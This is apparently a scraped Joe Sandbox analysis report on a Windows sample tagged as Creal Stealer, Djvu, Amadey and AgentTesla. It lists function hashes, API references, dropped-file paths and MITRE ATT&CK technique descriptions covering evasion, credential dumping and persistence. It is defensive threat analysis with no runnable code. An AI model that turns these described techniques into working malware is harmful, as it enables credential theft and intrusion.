Error detected, xrefs: 00007FF738B62CFB, 00007FF738B62D33

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: Error detected
API String ID: 1878133881-3513342764
Opcode ID: 93d1fdc723546ae567f8218d0d5003b65100b09b9274e520b1b2c374812bf196
Instruction ID: 4f90aee1275fc529a190da0ab3780c23a1dc15198ac767920c0249b930c20fdb
Opcode Fuzzy Hash: 93d1fdc723546ae567f8218d0d5003b65100b09b9274e520b1b2c374812bf196
Instruction Fuzzy Hash: 0921D673628A87A1EB20E710F4516EAE364FF84784FC01039EA8D47A65DF3DD204DB15

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B6FE80 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF738B6FED0
RaiseException.KERNEL32 ref: 00007FF738B6FF11

Strings

csm, xrefs: 00007FF738B6FEFE

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 010ed9957d99c3a93ebfd805af8ad73f2bfdfbf7bf3eba5be717857b77bb313e
Instruction ID: a68d0e04fa5ae6afef8813a46558632cc8350ff2bed8c72e3f717df888eda27d
Opcode Fuzzy Hash: 010ed9957d99c3a93ebfd805af8ad73f2bfdfbf7bf3eba5be717857b77bb313e
Instruction Fuzzy Hash: E4115E33A18B8292EB609F25F440259FBE1FB88B84F984234DE9C07B69DF3DC5518B04

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B8041C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF738B8044C
GetDriveTypeW.KERNEL32 ref: 00007FF738B8048C

Strings

:, xrefs: 00007FF738B80475

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: DriveType_invalid_parameter_noinfo
String ID: :
API String ID: 2595371189-336475711
Opcode ID: d56ef0e9341907a819310a39eb36239c8511962549d77217a4abb3fc68a978d5
Instruction ID: bbb4110089798e383e8bce04a48320a79f9af017e9a6cc5dd42ddb82828349fb
Opcode Fuzzy Hash: d56ef0e9341907a819310a39eb36239c8511962549d77217a4abb3fc68a978d5
Instruction Fuzzy Hash: 0C01DF2391C38396FB20BF20942227EE3A0EF84344FC40039E54D46291DF3EE505EA2A

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: powershell.exePID: 8068, Parent PID: 7804COMMON

Executed Functions

Function 079449A5 Relevance: 14.4, Strings: 11, Instructions: 614COMMON

Download Yara Rule

Strings

$^q, xrefs: 07944FB6
$^q, xrefs: 07944FA6
4'^q, xrefs: 07944FE7
4'^q, xrefs: 07944D61
tP^q, xrefs: 07944F37
$^q, xrefs: 07944EA9
tP^q, xrefs: 07944F2B
$^q, xrefs: 07944E8D
4'^q, xrefs: 07945134
4'^q, xrefs: 07944D6D
4'^q, xrefs: 07944FDB

Memory Dump Source

Source File: 00000013.00000002.2164635880.0000000007940000.00000040.00000800.00020000.00000000.sdmp, Offset: 07940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7940000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q$4'^q$tP^q$tP^q$$^q$$^q$$^q$$^q
API String ID: 0-2162480297
Opcode ID: a55fe211ebe4d451b3c7bafa30d93a051cc79b69784203b911289404f076b09a
Instruction ID: 73ccadcdd88c74f6896428a887a2d0d431a5b3f19cb20bbc8a7f09b4194369bc
Opcode Fuzzy Hash: a55fe211ebe4d451b3c7bafa30d93a051cc79b69784203b911289404f076b09a
Instruction Fuzzy Hash: 1E1249B1B002968FCB248F68D444FAABBE6AF85318F1484AAD405CF365DF36DC45C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 0794A6B9 Relevance: 13.4, Strings: 9, Instructions: 2122COMMON

Download Yara Rule

Strings

$^q, xrefs: 0794A783
tP^q, xrefs: 0794B2AD
4'^q, xrefs: 0794A79F
tP^q, xrefs: 0794B2A1
$^q, xrefs: 0794A75B
tP^q, xrefs: 0794B18B
tP^q, xrefs: 0794B17F
$^q, xrefs: 0794A777
4'^q, xrefs: 0794A7AB

Memory Dump Source

Source File: 00000013.00000002.2164635880.0000000007940000.00000040.00000800.00020000.00000000.sdmp, Offset: 07940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7940000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$tP^q$tP^q$tP^q$tP^q$$^q$$^q$$^q
API String ID: 0-2740984363
Opcode ID: 55816ab12ded8cb2f6e28309476c250892360d81e00fa2867f1c612675ff0c05
Instruction ID: 80bfb83266a144a824a802bc40420be5247f5549ec9522d1f69c7c3e0d732134
Opcode Fuzzy Hash: 55816ab12ded8cb2f6e28309476c250892360d81e00fa2867f1c612675ff0c05
Instruction Fuzzy Hash: 9482D2B1B4024A9FCB14DF68C944A6ABBE6FF85318F14C4AAE8058F351DB35DC45CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 07948F88 Relevance: 4.6, Strings: 3, Instructions: 889COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07948C66
4'^q, xrefs: 079482FA
4'^q, xrefs: 07948256

Memory Dump Source

Source File: 00000013.00000002.2164635880.0000000007940000.00000040.00000800.00020000.00000000.sdmp, Offset: 07940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7940000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q
API String ID: 0-1196845430
Opcode ID: 79cd774fe3714fee6556e9852eec1fc96931efebb73439b458d04464b5b4f976
Instruction ID: 2d267ec50a894a9cd6baa6afd85e33a0888c818baa6c93ca1bab50b038fed45e
Opcode Fuzzy Hash: 79cd774fe3714fee6556e9852eec1fc96931efebb73439b458d04464b5b4f976
Instruction Fuzzy Hash: D28240B4A002149FDB24CB18C955F9ABBB2FB98308F1481D5E9099F355CBB6ED81CF91

Uniqueness

Uniqueness Score: -1.00%

Function 04B2D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2116811398.0000000004B2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4b2d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 908a98e62d115088f442273d7492fb92d56ae8b7be9a22c72e7c6d6e4b2de179
Instruction ID: f872a345ee4f1d706c32f845dc08bbaf6c1b23dc5285a549e387906b3cff5a62
Opcode Fuzzy Hash: 908a98e62d115088f442273d7492fb92d56ae8b7be9a22c72e7c6d6e4b2de179
Instruction Fuzzy Hash: 2101F7311083109AE7104E35DA94767BF9CDF45324F08C5A9ED4C4A196C679A841C6B1

Uniqueness

Uniqueness Score: -1.00%

Function 04B2D01C Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2116811398.0000000004B2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4b2d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 236015ea257abdddd33518a5d9a4a183a2f07947dfd0213d5134ef501e9bdce4
Instruction ID: 38121b9abf83804122c573b7c492fb161c6448418f4e7cb48fb4e516489672ef
Opcode Fuzzy Hash: 236015ea257abdddd33518a5d9a4a183a2f07947dfd0213d5134ef501e9bdce4
Instruction Fuzzy Hash: 63F0C271004340AEE7108E26D984B63FFACEF41334F18C59AED4C4E296C279A840CAB0

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., Native API ).
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report New_Text_Document_mod.exse.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Creal Stealer

Threatname: Djvu

Threatname: Amadey

Threatname: Agenttesla

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Bitcoin Miner

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\CGDHIEGCFHCGDGCAECBGIDAEGI

C:\ProgramData\ECFHJKEB

C:\ProgramData\GCAFCAFHJJDBFIECFBKE

C:\ProgramData\GIIDBGDA

C:\ProgramData\HCFCAAEB

C:\ProgramData\JDHCBAEH

Windows Analysis Report
New_Text_Document_mod.exse.exe

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.
Tactics:	Lateral Movement
Data Sources:	File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre